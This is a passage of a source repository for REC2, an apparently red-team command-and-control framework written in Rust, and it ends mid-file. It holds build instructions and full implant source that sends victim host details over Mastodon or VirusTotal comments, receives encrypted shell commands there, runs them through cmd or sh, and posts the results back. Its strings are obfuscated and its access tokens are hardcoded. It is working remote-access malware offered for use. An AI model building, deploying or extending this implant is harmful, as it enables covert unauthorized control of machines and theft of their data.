267 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/mastodon/Cargo.toml
268 |
269 | # implants/virustotal/Cargo.toml
270 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path implants/virustotal/Cargo.toml
271 |
272 | # Server
273 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-pc-windows-gnu --manifest-path server/Cargo.toml
274 | ```
275 |
276 | The result can be found in the **implants/(mastodon,virustotal)/target/x86_64-pc-windows-gnu/release** or in the **server/target/x86_64-pc-windows-gnu/release** folder.
277 |
278 | ## Manually for macOS static version from Linux
279 |
280 | Amazing documentation: [https://wapl.es/rust/2019/02/17/rust-cross-compile-linux-to-macos.html](https://wapl.es/rust/2019/02/17/rust-cross-compile-linux-to-macos.html)
281 |
282 | ```bash
283 | # Install rustup and Cargo in Linux
284 | curl https://sh.rustup.rs -sSf | sh
285 |
286 | # Add macOS tool chain
287 | sudo git clone https://github.com/tpoechtrager/osxcross /usr/local/bin/osxcross
288 | sudo wget -P /usr/local/bin/osxcross/ -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && sudo mv /usr/local/bin/osxcross/MacOSX10.10.sdk.tar.xz /usr/local/bin/osxcross/tarballs/
289 | sudo UNATTENDED=yes OSX_VERSION_MIN=10.7 /usr/local/bin/osxcross/build.sh
290 | sudo chmod 775 /usr/local/bin/osxcross/ -R
291 | export PATH="/usr/local/bin/osxcross/target/bin:$PATH"
292 |
293 | # Cargo needs to be told to use the correct linker for the x86_64-apple-darwin target, so add the following to your project’s .cargo/config file:
294 | grep 'target.x86_64-apple-darwin' ~/.cargo/config || echo "[target.x86_64-apple-darwin]" >> ~/.cargo/config
295 | grep 'linker = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'linker = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config
296 | grep 'ar = "x86_64-apple-darwin14-clang"' ~/.cargo/config || echo 'ar = "x86_64-apple-darwin14-clang"' >> ~/.cargo/config
297 |
298 | # Static compilation for macOS
299 | git clone https://github.com/g0h4n/REC2
300 | cd REC2
301 |
302 | # Implants
303 | # choise your implant Mastodon or VirusTotal
304 |
305 | # implants/mastodon/Cargo.toml
306 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/mastodon/Cargo.toml
307 |
308 | # implants/virustotal/Cargo.toml
309 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path implants/virustotal/Cargo.toml
310 |
311 | # Server
312 | RUSTFLAGS="-C target-feature=+crt-static" cargo build --release --target x86_64-apple-darwin --manifest-path server/Cargo.toml
313 | ```
314 |
315 | The result can be found in the implants/(mastodon,virustotal)/target/x86_64-apple-darwin/release folder.
316 |
317 | ## How to build the documentation?
318 |
319 | ```bash
320 | git clone https://github.com/g0h4n/REC2
321 | cd REC2
322 |
323 | # Implants
324 | # choise your implant Mastodon or VirusTotal
325 |
326 | # implants/mastodon/Cargo.toml
327 | cargo doc --open --no-deps --manifest-path implants/mastodon/Cargo.toml
328 |
329 | # implants/virustotal/Cargo.toml
330 | cargo doc --open --no-deps --manifest-path implants/virustotal/Cargo.toml
331 |
332 | # Server
333 | cargo doc --open --no-deps --manifest-path server/Cargo.toml
334 | ```
335 |
336 |
337 | # :vertical_traffic_light: Roadmap
338 |
339 | - CRYPTO
340 | - [x] AES
341 | - IMPLANTS
342 | - [x] IMPLANTS
343 | - SERVER
344 | - [x] SESSION
345 | - [x] JOBS
346 | - [ ] Asynchrone jobs status check function
347 | - [ ] Asynchrone sessions status check function
348 | - [x] Select current sessions with `sessions -i 1` to attach session number 1 [09/28/2023]
349 | - [x] Add `background` command [09/28/2023]
350 | - SOCIAL NETWORK
351 | - [x] MASTODON: [https://docs.rs/megalodon/latest/megalodon/](https://docs.rs/megalodon/latest/megalodon/)
352 | - [x] VIRUSTOTAL: [https://docs.rs/virustotal3/latest/virustotal3/](https://docs.rs/virustotal3/latest/virustotal3/)
353 | - [ ] SOUNDCLOUD: [https://docs.rs/soundcloud/latest/soundcloud/](https://docs.rs/soundcloud/latest/soundcloud/)
354 | - [ ] Some ideas?
355 |
356 | # :link: Links
357 |
358 | - [https://github.com/D1rkMtr/VirusTotalC2](https://github.com/D1rkMtr/VirusTotalC2)
359 |
--------------------------------------------------------------------------------
/VIRUSTOTAL.md:
--------------------------------------------------------------------------------
1 | # VIRUSTOTAL
2 |
3 | [https://www.virustotal.com/](https://www.virustotal.com/)
4 |
5 | ⚠️ **[Public API constraints and restrictions](https://developers.virustotal.com/reference/public-vs-premium-api)**:
6 |
7 | > The Public API is limited to **500 requests per day** and a rate of **4 requests per minute**.
8 |
9 | > The Public API must not be used in commercial products or services.
10 |
11 | > The Public API must not be used in business workflows that do not contribute new files.
12 |
13 | > You are **not allowed to register multiple accounts** to overcome the aforementioned limitations.
14 |
15 |
16 | ⚠️ **Site constraints**:
17 |
18 |
--------------------------------------------------------------------------------
/img/REC2_logo_v1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/REC2_logo_v1.png
--------------------------------------------------------------------------------
/img/client.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/client.jpg
--------------------------------------------------------------------------------
/img/schema_rec2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/schema_rec2.png
--------------------------------------------------------------------------------
/img/server.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/g0h4n/REC2/86e149167ddbfd57d32f2dedbd987a76d59f9a5c/img/server.jpg
--------------------------------------------------------------------------------
/implants/mastodon/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | authors = ["g0h4n "]
3 | name = "rec2"
4 | description = "REC2 (Rusty External C2, Mastodon Implant)"
5 | keywords = ["implant", "pentest", "social", "client", "redteam"]
6 | repository = "https://github.com/g0h4n/REC2"
7 | homepage = "https://github.com/g0h4n/REC2"
8 | version = "0.0.1"
9 | edition = "2018"
10 | license = "MIT"
11 | readme = "README.md"
12 |
13 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
14 |
15 | [dependencies]
16 | tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
17 | clap = "4.0"
18 | log = "0.4"
19 | env_logger = "0.10"
20 | whoami = "1.3"
21 |
22 | # Crypto
23 | hex = "0.4"
24 | rand = "0.8.5"
25 | aes = "0.8.1"
26 | cbc = {version = "0.1.2", features = ["std"]}
27 | pbkdf2 = "0.11"
28 | regex = "1.6.0"
29 | litcrypt = "0.3"
30 | random-string = "1.0"
31 | md5 = "0.7"
32 |
33 | # Modules
34 | megalodon = { version = "0.6" }
35 |
36 | [profile.release]
37 | opt-level = "z"
38 | lto = true
39 | strip = true
40 | codegen-units = 1
41 | panic = "abort"
--------------------------------------------------------------------------------
/implants/mastodon/src/args.rs:
--------------------------------------------------------------------------------
1 | //! Parsing arguments
2 | use clap::{Arg,ArgAction,Command};
3 |
4 | #[derive(Debug)]
5 | pub struct Options {
6 | pub verbose: log::LevelFilter,
7 | }
8 |
9 | fn cli() -> Command {
10 | Command::new("rec2")
11 | .about("REC2 implant for Mastodon")
12 | .arg(Arg::new("v")
13 | .short('v')
14 | .help("Set the level of verbosity")
15 | .action(ArgAction::Count),
16 | )
17 | }
18 |
19 | /// Function to extract arguments
20 | pub fn extract_args() -> Options {
21 | let matches = cli().get_matches();
22 | let v = match matches.get_count("v") {
23 | 0 => log::LevelFilter::Info,
24 | 1 => log::LevelFilter::Debug,
25 | _ => log::LevelFilter::Trace,
26 | };
27 | Options {
28 | verbose: v,
29 | }
30 | }
--------------------------------------------------------------------------------
/implants/mastodon/src/lib.rs:
--------------------------------------------------------------------------------
1 | //!
2 | //! REC2 (Rusty External C2 Mastodon Client)
3 | //!
4 | pub mod args;
5 | pub mod utils;
6 | pub mod modules;
--------------------------------------------------------------------------------
/implants/mastodon/src/main.rs:
--------------------------------------------------------------------------------
1 | pub mod args;
2 | use args::extract_args;
3 |
4 | pub mod utils;
5 | use utils::*;
6 |
7 | pub mod modules;
8 | use modules::*;
9 |
10 | use env_logger::Builder;
11 | use log::{info,debug};
12 | use regex::Regex;
13 |
14 | #[macro_use]
15 | extern crate litcrypt;
16 | use_litcrypt!();
17 |
18 | #[tokio::main]
19 | async fn main() {
20 | // Build logger
21 | let common_args = extract_args();
22 | Builder::new()
23 | .filter(Some("rec2"), common_args.verbose)
24 | .filter_level(log::LevelFilter::Error)
25 | .init();
26 |
27 | // AES KEY its automaticaly change from Makefile
28 | let key = lc!("TMVB5XJWzuz4KsqUCnwxrtooQv8LmP6R4IX62HeQ7OZzhxgsahsxNzfo5dJNkntl").as_bytes().to_owned();
29 |
30 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
31 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
32 | // TO CHANGE manually!
33 | // MASTODON TOKEN
34 | let token = lc!("fdYcCvUiBplODBs1BGWccVax16ko4M4nZgudH7mUX2xUTVj35o0jSm2Ka5LPOYyd").to_owned();
35 | // MASTODON FULL URL
36 | let full_url = lc!("https://mastodon.be/@username_fzihfzuhfuoz/109994357971853428").to_owned();
37 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
38 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
39 |
40 | // Link command:result
41 | let mut list_commands: Vec = Vec::new();
42 |
43 | // Target info
44 | let infos = get_target_info();
45 | debug!("Target info: {}", infos);
46 | let session_hash = random_string(8);
47 | debug!("Session hash: {}", session_hash);
48 |
49 | // Parse url first
50 | let (url, _username, topic_id) = parse_mastodon_url(&full_url);
51 | // Post target info and session id
52 | // SESS:{hash}:ABCDEF for new session
53 | let encoded = hex::encode(&aes_encrypt(&infos.as_bytes(),&key)[..]);
54 | mastodon_post_topic_comment(
55 | &url,
56 | token.to_owned(),
57 | Some(topic_id.to_owned()),
58 | encoded,
59 | format!("SESS:{}:ABCDEF:",&session_hash),
60 | ).await;
61 |
62 | // MASTODON IMPLANT
63 | loop {
64 | // GET TOPIC comments on Matodon only for this SESSION hash
65 | // QUES:{hash}:{}
66 | let (result_spoiler,result_content,in_reply_to_id) = mastodon_get_topic_comments(
67 | &url,
68 | token.to_owned(),
69 | topic_id.to_owned(),
70 | format!("QUES:{}",&session_hash).to_string(),
71 | ).await;
72 |
73 | // Check if new comment was posted
74 | for i in 0..result_content.len() {
75 | let (_msg_type, session_hash, job_hash) = parse_spoiler(&result_spoiler[i]);
76 |
77 | if !list_commands.contains(&job_hash) {
78 | info!("main():Mastodon: New command to run {:?}",&result_content[i]);
79 | // History
80 | list_commands.push(job_hash.to_owned());
81 | // Trying to decode hexa to get command line
82 | let u8command = aes_decrypt(&hex::decode(&result_content[i].to_owned().to_string()).unwrap()[..], &key);
83 | // Trying to run command line
84 | let output = run_and_crypt(display_vecu8(&u8command), key.to_owned());
85 | info!("main():Mastodon: Output for new command {:?}", &output);
86 | // Text limite de 500 caractères
87 | if output.len() <= 500 {
88 | // POST result on Mastodon
89 | mastodon_post_topic_comment(
90 | &url,
91 | token.to_owned(),
92 | in_reply_to_id.to_owned(),
93 | output,
94 | format!("RESP:{}:{}:",&session_hash,&job_hash),
95 | ).await;
96 | }
97 | else {
98 | let re = Regex::new(r"[a-z0-9]{1,475}").unwrap();
99 | let caps = re.captures_iter(&output);
100 | let mut count = 1;
101 | for value in caps {
102 | // POST result on Mastodon
103 | debug!("Part {}",&count);
104 | mastodon_post_topic_comment(
105 | &url,
106 | token.to_owned(),
107 | in_reply_to_id.to_owned(),
108 | value[0].to_string(),
109 | format!("PART:{}:{}:{}",&session_hash,&job_hash,count),
110 | ).await;
111 | count +=1;
112 | }
113 | }
114 | }
115 | }
116 | sleep(31);
117 | }
118 | }
--------------------------------------------------------------------------------
/implants/mastodon/src/modules/common.rs:
--------------------------------------------------------------------------------
1 | use regex::Regex;
2 | use log::debug;
3 |
4 | /// Function to parse header
5 | pub fn parse_spoiler(spoiler: &String) -> (String, String, String) {
6 | let re = Regex::new(r"^([A-Z0-9]{4,}):[a-zA-Z0-9]{8}:[a-zA-Z0-9]{6}:").unwrap();
7 | let caps = re.captures(&spoiler).unwrap();
8 | let msg_type = caps.get(1).map_or("", |m| m.as_str()).to_string();
9 | debug!("{}",format!("{:<15}: {}","MSG_TYPE:",&msg_type));
10 |
11 | let re = Regex::new(r"^[A-Z0-9]{4,}:([a-zA-Z0-9]{8}):").unwrap();
12 | let caps = re.captures(&spoiler).unwrap();
13 | let session_hash = caps.get(1).map_or("", |m| m.as_str()).to_string();
14 | debug!("{}",format!("{:<15}: {}","SESSION_HASH",&session_hash));
15 |
16 | let re = Regex::new(r"^[A-Z0-9]{4,}:[a-zA-Z0-9]{8}:([a-zA-Z0-9]{6}):").unwrap();
17 | let caps = re.captures(&spoiler).unwrap();
18 | let job_hash = caps.get(1).map_or("", |m| m.as_str()).to_string();
19 | debug!("{}",format!("{:<15}: {}","JOB_HASH",&job_hash));
20 |
21 | return (msg_type, session_hash, job_hash)
22 | }
--------------------------------------------------------------------------------
/implants/mastodon/src/modules/mod.rs:
--------------------------------------------------------------------------------
1 | //! Social network for REC2 client
2 | #[doc(inline)]
3 | pub use common::*;
4 | #[doc(inline)]
5 | pub use rec2mastodon::*;
6 |
7 | pub mod common;
8 | pub mod rec2mastodon;
--------------------------------------------------------------------------------
/implants/mastodon/src/modules/rec2mastodon.rs:
--------------------------------------------------------------------------------
1 | use megalodon::{
2 | generator,
3 | SNS,
4 | megalodon::GetStatusContextInputOptions,
5 | megalodon::PostStatusInputOptions,
6 | entities::status::StatusVisibility,
7 | };
8 | use regex::Regex;
9 | use log::{debug,trace};
10 |
11 | // 1- Function to parse URL to get url,username,topic_id
12 | // 2- Function to get topic comments
13 | // 3- Function to post comment in topic_id
14 |
15 | /// Function to parse Mastodon url
16 | pub fn parse_mastodon_url(full_url: &String) -> (String,String,String) {
17 | let re = Regex::new(r"^(https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/)").unwrap();
18 | let caps = re.captures(&full_url).unwrap();
19 | let url = caps.get(1).map_or("", |m| m.as_str()).to_string();
20 | debug!("{}",format!("{}: {}","URL",&url));
21 |
22 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/@([a-zA-Z0-9_]{10,})/").unwrap();
23 | let caps = re.captures(&full_url).unwrap();
24 | let username = caps.get(1).map_or("", |m| m.as_str()).to_string();
25 | debug!("{}",format!("{}: {}","USERNAME",&username));
26 |
27 | let re = Regex::new(r"([0-9]{10,})").unwrap();
28 | let caps = re.captures(&full_url).unwrap();
29 | let topic = caps.get(1).map_or("", |m| m.as_str()).to_string();
30 | debug!("{}",format!("{}: {}","TOPIC_ID",&topic));
31 |
32 | return (url,username,topic)
33 | }
34 |
35 | /// GET comment in one topic ID
36 | ///
37 | pub async fn mastodon_get_topic_comments(
38 | url: &String,
39 | access_token: String,
40 | topic_id: String,
41 | filter: String,
42 | ) -> (Vec,Vec,Option) {
43 | let client = generator(
44 | SNS::Mastodon,
45 | url.to_string(),
46 | Some(access_token),
47 | None);
48 | let status = client.get_status_context(
49 | topic_id,
50 | Some(&GetStatusContextInputOptions {
51 | limit: Some(9999),
52 | max_id: Some("".to_string()),
53 | since_id: Some("".to_string()),
54 | }
55 | )).await.unwrap();
56 | let status = status.json().descendants;
57 | //debug!("{:?}",&status);
58 | let mut in_reply_to_id = Some("null".to_string());
59 | // Result
60 | let mut result_spoiler: Vec = Vec::new();
61 | let mut result_content: Vec = Vec::new();
62 |
63 | // Comment by comment
64 | for s in status {
65 | //info!("{:?}",s.content);
66 | // If spoiler_text empty command to run and not an answer
67 | if s.spoiler_text.contains(&filter) {
68 | // If is hexa so it's encoded datas
69 | let re = Regex::new(r"[0-9a-f]+").unwrap();
70 | for hexa in re.captures_iter(&s.content)
71 | {
72 | trace!("Getting comment in topic: {:?}",hexa[0].to_owned().to_string());
73 | in_reply_to_id = s.to_owned().in_reply_to_id;
74 | result_spoiler.push(s.spoiler_text.to_owned().to_string());
75 | result_content.push(hexa[0].to_owned().to_string());
76 | }
77 | }
78 | }
79 | return (result_spoiler,result_content,in_reply_to_id)
80 | }
81 |
82 | /// POST private answer
83 | ///
84 | ///
85 | pub async fn mastodon_post_topic_comment(
86 | url: &String,
87 | access_token: String,
88 | in_reply_to_id: Option,
89 | datas: String,
90 | sploiler_text: String,
91 | ) {
92 | let client = generator(
93 | SNS::Mastodon,
94 | url.to_string(),
95 | Some(access_token),
96 | None);
97 | let status = client.post_status(
98 | datas,
99 | Some(&PostStatusInputOptions {
100 | media_ids: Some(Vec::new()),
101 | in_reply_to_id: in_reply_to_id,
102 | sensitive: Some(true),
103 | visibility: Some(StatusVisibility::Private),
104 | language: Some("en".to_string()),
105 | spoiler_text: Some(sploiler_text),
106 | ..Default::default()
107 | }),
108 | ).await.unwrap();
109 | let status = status.json();
110 | debug!("Post answer ok");
111 | trace!("Post answer {:?}",status);
112 | }
--------------------------------------------------------------------------------
/implants/mastodon/src/utils/common.rs:
--------------------------------------------------------------------------------
1 | use std::{thread, time};
2 | use random_string::generate;
3 | use log::{info,trace};
4 |
5 | ///Display cmd output
6 | pub fn display_vecu8(output: &Vec) -> String {
7 | return String::from_utf8_lossy(output).to_string();
8 | }
9 |
10 | /// Function sleep
11 | pub fn sleep(timer: u64) {
12 | info!("[?] Waiting {}s",&timer);
13 | thread::sleep(time::Duration::from_secs(timer));
14 | }
15 |
16 | /// Function to generate random string
17 | pub fn random_string(len: usize) -> String {
18 | let charset = "1234567890abcdefghijklmnopqrstuvwxyz";
19 | let r = generate(len, charset);
20 | trace!("Random ID: {}",&r);
21 | return r
22 | }
--------------------------------------------------------------------------------
/implants/mastodon/src/utils/crypto.rs:
--------------------------------------------------------------------------------
1 | use log::error;
2 | use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
3 | use pbkdf2::{
4 | password_hash::{PasswordHash, PasswordHasher, SaltString},
5 | Params, Pbkdf2,
6 | };
7 | use rand::{distributions::Alphanumeric, Rng};
8 | type Aes256CbcDec = cbc::Decryptor;
9 | type Aes256CbcEnc = cbc::Encryptor;
10 |
11 | /// Function to provide simple mechanism to encrypt some bytes with a key using AES-256-CBC
12 | /// Thanks to:
13 | pub fn aes_encrypt(
14 | plaintext: &[u8],
15 | key: &[u8]
16 | ) -> Vec {
17 | let s: String = rand::thread_rng()
18 | .sample_iter(&Alphanumeric)
19 | .take(8)
20 | .map(char::from)
21 | .collect();
22 | let salt = SaltString::new(&s).unwrap();
23 | let password_hash = hash_password(key, &salt).unwrap();
24 | let password_hash = password_hash.hash.unwrap();
25 | let (key, iv) = password_hash.as_bytes().split_at(32);
26 | let cipher = Aes256CbcEnc::new_from_slices(key, iv).unwrap();
27 | let ciphertext = cipher.encrypt_padded_vec_mut::(plaintext);
28 | let message = ["Salted__".as_bytes(), salt.as_bytes(), &ciphertext].concat();
29 | message
30 | }
31 |
32 | /// Function to provide simple mechanism to decrypt some bytes with a key using AES-256-CBC
33 | /// Thanks to:
34 | pub fn aes_decrypt(
35 | ciphertext: &[u8],
36 | key: &[u8]
37 | ) -> Vec {
38 | if !ciphertext.starts_with(b"Salted__") {
39 | error!("Message was not encrypted when encoded");
40 | }
41 | if ciphertext.len() < 16 {
42 | error!("Ciphertext is too short");
43 | }
44 | let (_, rest) = ciphertext.split_at(8); //ignore prefix 'Salted__'
45 | let (s, rest) = rest.split_at(8);
46 | let s = String::from_utf8(s.to_vec()).unwrap();
47 | let salt = SaltString::new(&s).unwrap();
48 | let password_hash = hash_password(key, &salt).unwrap();
49 | let password_hash = password_hash.hash.unwrap();
50 | let (key, iv) = password_hash.as_bytes().split_at(32);
51 | let cipher = Aes256CbcDec::new_from_slices(key, iv).unwrap();
52 | let r = cipher.decrypt_padded_vec_mut::(rest);
53 | match r {
54 | Ok(plaintext) => { return plaintext }
55 | Err(err) => {
56 | error!("Inccorect key, can't decode AES! Reason: {err}");
57 | return Vec::new()
58 | }
59 | }
60 | }
61 |
62 | /// Function to hash password and salt,
63 | /// to generate key for use with AES-256 encryption.
64 | ///
65 | /// Uses PBKDF2 with 10,000 rounds of SHA256 hashing to generate a 48-byte response.
66 | /// 48-byte response contains the 16-byte IV and 32-byte key.
67 | /// Thanks to:
68 | pub fn hash_password<'a>(
69 | key: &'a [u8],
70 | salt: &'a SaltString,
71 | ) -> Result, pbkdf2::password_hash::Error> {
72 | Pbkdf2.hash_password_customized(
73 | key,
74 | None,
75 | None,
76 | Params {
77 | rounds: 10_000,
78 | output_length: 48,
79 | },
80 | salt,
81 | )
82 | }
--------------------------------------------------------------------------------
/implants/mastodon/src/utils/exec.rs:
--------------------------------------------------------------------------------
1 | use std::str;
2 | use std::process::{Command};
3 | use log::{debug, trace, error};
4 |
5 | use crate::utils::crypto::*;
6 | use crate::utils::common::*;
7 |
8 | /// Function to execute command and get output
9 | pub fn run_and_crypt(command: String, key: Vec) -> String {
10 | // EXEC PART
11 | debug!("run_and_crypt() [COMMAND INPUT]: {:?}",&command);
12 | let mut output = exec(&command);
13 | if output.len() == 0 {
14 | error!("Error during command execution!");
15 | output = "Error during command execution!".as_bytes().to_vec();
16 | }
17 | debug!("run_and_crypt() [COMMAND OUTPUT]: {:?}",display_vecu8(&output));
18 |
19 | // AES PART
20 | let encoded = aes_encrypt(&output[..], &key);
21 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",display_vecu8(&encoded));
22 | let hexa = hex::encode(&encoded);
23 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",&hexa);
24 |
25 | return hexa
26 | }
27 |
28 | /// Function to run commands
29 | fn exec(input: &str) -> Vec
30 | {
31 | let output = if cfg!(target_os = "windows") {
32 | Command::new("cmd")
33 | .args(["/c", input])
34 | .output()
35 | .expect("failed")
36 | } else {
37 | Command::new("sh")
38 | .arg("-c")
39 | .arg(input)
40 | .output()
41 | .expect("failed")
42 | };
43 | return output.stdout
44 | }
--------------------------------------------------------------------------------
/implants/mastodon/src/utils/mod.rs:
--------------------------------------------------------------------------------
1 | //! Utils for REC2 client
2 | #[doc(inline)]
3 | pub use common::*;
4 | #[doc(inline)]
5 | pub use crypto::*;
6 | #[doc(inline)]
7 | pub use exec::*;
8 | #[doc(inline)]
9 | pub use target::*;
10 |
11 | pub mod crypto;
12 | pub mod exec;
13 | pub mod common;
14 | pub mod target;
--------------------------------------------------------------------------------
/implants/mastodon/src/utils/target.rs:
--------------------------------------------------------------------------------
1 | use log::trace;
2 |
3 | /// Function to get target information
4 | ///
5 | pub fn get_target_info() -> String {
6 | trace!("Username: {}",whoami::username());
7 | trace!("Hostname: {}",whoami::hostname());
8 | trace!("OS: {}", whoami::distro());
9 | format!("{}:-:{}:-:{}",whoami::hostname(),whoami::username(),whoami::distro())
10 | }
11 |
12 | /// Function to get first 8 chars from uniq md5 target hostname
13 | pub fn get_target_hash() -> String {
14 | let s = format!("{}:{}:{}",whoami::hostname(),whoami::username(),whoami::distro());
15 | let digest = md5::compute(s.as_bytes());
16 | let hash = format!("{:x}",digest);
17 | trace!("Uniq hash for this target: {}", hash);
18 | return hash[0..8].to_owned()
19 | }
--------------------------------------------------------------------------------
/implants/virustotal/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | authors = ["g0h4n "]
3 | name = "rec2"
4 | description = "REC2 (Rusty External C2, VirusTotal Implant)"
5 | keywords = ["implant", "pentest", "social", "client", "redteam"]
6 | repository = "https://github.com/g0h4n/REC2"
7 | homepage = "https://github.com/g0h4n/REC2"
8 | version = "0.1.0"
9 | edition = "2018"
10 | license = "MIT"
11 | readme = "README.md"
12 |
13 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
14 |
15 | [dependencies]
16 | tokio = { version = "1", features = ["macros", "rt-multi-thread"] }
17 | clap = "4.0"
18 | log = "0.4"
19 | env_logger = "0.10"
20 | whoami = "1.3"
21 |
22 | # Crypto
23 | hex = "0.4"
24 | rand = "0.8.5"
25 | aes = "0.8.1"
26 | cbc = {version = "0.1.2", features = ["std"]}
27 | pbkdf2 = "0.11"
28 | regex = "1.6.0"
29 | litcrypt = "0.3"
30 | random-string = "1.0"
31 | md5 = "0.7"
32 |
33 | # Modules
34 | virustotal3 = { version = "3.0.2" }
35 |
36 | [profile.release]
37 | opt-level = "z"
38 | lto = true
39 | strip = true
40 | codegen-units = 1
41 | panic = "abort"
--------------------------------------------------------------------------------
/implants/virustotal/src/args.rs:
--------------------------------------------------------------------------------
1 | //! Parsing arguments
2 | use clap::{Arg,ArgAction,Command};
3 |
4 | #[derive(Debug)]
5 | pub struct Options {
6 | pub verbose: log::LevelFilter,
7 | }
8 |
9 | fn cli() -> Command {
10 | Command::new("rec2")
11 | .about("REC2 implant for VirusTotal")
12 | .arg(Arg::new("v")
13 | .short('v')
14 | .help("Set the level of verbosity")
15 | .action(ArgAction::Count),
16 | )
17 | }
18 |
19 | /// Function to extract arguments
20 | pub fn extract_args() -> Options {
21 | let matches = cli().get_matches();
22 | let v = match matches.get_count("v") {
23 | 0 => log::LevelFilter::Info,
24 | 1 => log::LevelFilter::Debug,
25 | _ => log::LevelFilter::Trace,
26 | };
27 | Options {
28 | verbose: v,
29 | }
30 | }
--------------------------------------------------------------------------------
/implants/virustotal/src/lib.rs:
--------------------------------------------------------------------------------
1 | //!
2 | //! REC2 (Rusty External C2 VirusTotal Client)
3 | //!
4 | pub mod args;
5 | pub mod utils;
6 | pub mod modules;
--------------------------------------------------------------------------------
/implants/virustotal/src/main.rs:
--------------------------------------------------------------------------------
1 | pub mod args;
2 | use args::extract_args;
3 |
4 | pub mod utils;
5 | use utils::*;
6 |
7 | pub mod modules;
8 | use modules::*;
9 |
10 | use env_logger::Builder;
11 | use log::{info,debug};
12 |
13 | #[macro_use]
14 | extern crate litcrypt;
15 | use_litcrypt!();
16 |
17 | #[tokio::main]
18 | async fn main() {
19 | // Build logger
20 | let common_args = extract_args();
21 | Builder::new()
22 | .filter(Some("rec2"), common_args.verbose)
23 | .filter_level(log::LevelFilter::Error)
24 | .init();
25 |
26 | // AES KEY its automaticaly change from Makefile
27 | let key = lc!("TMVB6XJWzuz4KsqUCnwxrtooQV9LmP6R4IX62HeQ7OZzhxgsahsxNzf05dJNkntl").as_bytes().to_owned();
28 |
29 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
30 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
31 | // TO CHANGE manually!
32 | // VIRUSTOTAL TOKEN
33 | let token = lc!("a85683b009aaaaa81049acac952516db57aaaaabefab35cc737dc219c7b87ec5").to_owned();
34 | // VIRUSTOTAL FULL URL
35 | let full_url = lc!("https://www.virustotal.com/gui/file/ef22bb40f9439587396c9dc9c2a8a938fa2485f22c533479c95264bda61704d4?nocache=1").to_owned();
36 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
37 | ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
38 |
39 | // Link command:result
40 | let mut list_commands: Vec = Vec::new();
41 |
42 | // Target info
43 | let infos = get_target_info();
44 | debug!("Target info: {}", infos);
45 | let session_hash = random_string(8);
46 | debug!("Session hash: {}", session_hash);
47 |
48 | // Parse url first
49 | let (_url,vtype,resource_id) = parse_virustotal_url(&full_url);
50 | // Post target info and session id
51 | // SESS:{hash}:ABCDEF\nDATAS for new session
52 | let encoded = hex::encode(&aes_encrypt(&infos.as_bytes(),&key)[..]);
53 | let datas = format!("SESS:{}:ABCDEF:\n{}",&session_hash,encoded);
54 | virustotal_post_comment(
55 | &token,
56 | &resource_id,
57 | &vtype,
58 | &datas,
59 | ).await;
60 |
61 | // VIRUSTOTAL IMPLANT
62 | loop {
63 | // GET resource comments on VirusTotal only for this SESSION hash
64 | // QUES:{hash}:{}
65 | let (result_spoiler,result_content,_post_id) = rec2virustotal::virustotal_get_comments(
66 | &token,
67 | &resource_id,
68 | &vtype,
69 | format!("QUES:{}",&session_hash).to_string(),
70 | ).await;
71 | // Check if new comment was posted
72 | for i in 0..result_content.len() {
73 | let (_msg_type, session_hash, job_hash) = parse_spoiler(&result_spoiler[i]);
74 | if !list_commands.contains(&job_hash) {
75 | info!("main():VirusTotal: New command to run {:?}",&result_content[i]);
76 | // History
77 | list_commands.push(job_hash.to_owned()); // Trying to decode hexa to get command line
78 | let u8command = aes_decrypt(&hex::decode(&result_content[i].to_owned().to_string()).unwrap()[..], &key);
79 | // Trying to run command line
80 | let output = run_and_crypt(display_vecu8(&u8command), key.to_owned());
81 | info!("main():VirusTotal: Output for new command {:?}", &output);
82 | // POST result on VirusTotal
83 | let datas = format!("RESP:{}:{}:\n{}",&session_hash,&job_hash,&output);
84 | virustotal_post_comment(
85 | &token,
86 | &resource_id,
87 | &vtype,
88 | &datas,
89 | ).await;
90 | }
91 | }
92 | sleep(31);
93 | }
94 | }
--------------------------------------------------------------------------------
/implants/virustotal/src/modules/common.rs:
--------------------------------------------------------------------------------
1 | use regex::Regex;
2 | use log::debug;
3 |
4 | /// Function to parse header
5 | pub fn parse_spoiler(spoiler: &String) -> (String, String, String) {
